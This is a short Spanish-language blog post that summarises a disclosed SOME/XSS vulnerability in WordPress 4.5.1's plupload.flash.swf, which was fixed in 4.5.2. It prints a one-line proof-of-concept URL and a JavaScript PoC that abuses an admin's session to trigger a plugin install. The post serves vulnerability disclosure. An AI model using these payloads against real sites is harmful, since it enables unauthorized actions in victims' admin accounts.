viernes, 13 de mayo de 2016

WordPress SOME bug en plupload.flash.swf

Resumen rapido

* SOME en Wordpress 4.5.1
* Reportado a finales de abril
* Corregido en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable de nuevo a Same-Origin Method Execution (SOME) vulnerabilidad que se deriva por un proceso de sanatizacion de una URL insegura en el archivo plupload.flash.swf. El codigo en el archivo intenta remover FlashVars en su caso para establecer los parametros por GET pero falla al hacer esto, habilitando XSS via ExternalInterface.

El ataque fue descrito por Soroush Dalili in 2013. La vulnerabilidad en plupload.flash.swf fue descubierta en abril del 2016, primeramente identificada como SOME bug por Kinugawa. Entonces, despues el team lo reviso, la completa explotacion fue descubierta y analizada por Heiderich, Filedescriptor, Kinugawa and Inführ. Finalmente, es decubierto, que el archivo viene empaquetado en la ultima version de Wordpress y el problema fue reportado via HackerOne por Heiderich et al.

PoC Simple:  http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&

Un PoC mas complejo fue creado para demostrar el ataque potencial Remote Code Execution (RCE) de esta vulnerabilidad. Una descripcion detallada puede ser encontrada mas abajo:

<button onclick="fire()">Click</button>
<script>
function fire() {
 open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
  setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
  

Para ver la explicacion a profundidad y el post original:

https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e

No hay comentarios:

Publicar un comentario en la entrada